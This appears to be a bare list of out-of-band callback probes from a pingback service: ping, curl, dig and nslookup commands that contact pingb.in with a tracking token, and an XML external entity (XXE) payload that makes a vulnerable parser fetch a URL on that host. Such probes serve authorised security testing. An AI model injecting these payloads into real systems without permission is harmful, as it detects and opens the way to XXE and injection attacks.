$ ping -c1 -p 00346201ac425f449b7a9403f9ba0500 pingb.in
$ curl pingb.in/p/346201ac425f449b7a9403f9ba05
$ dig 346201ac425f449b7a9403f9ba05 @pingb.in
$ dig 346201ac425f449b7a9403f9ba05.ns.pingb.in
C:\> nslookup 346201ac425f449b7a9403f9ba05 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/346201ac425f449b7a9403f9ba05">]> <foo>&xxe;</foo>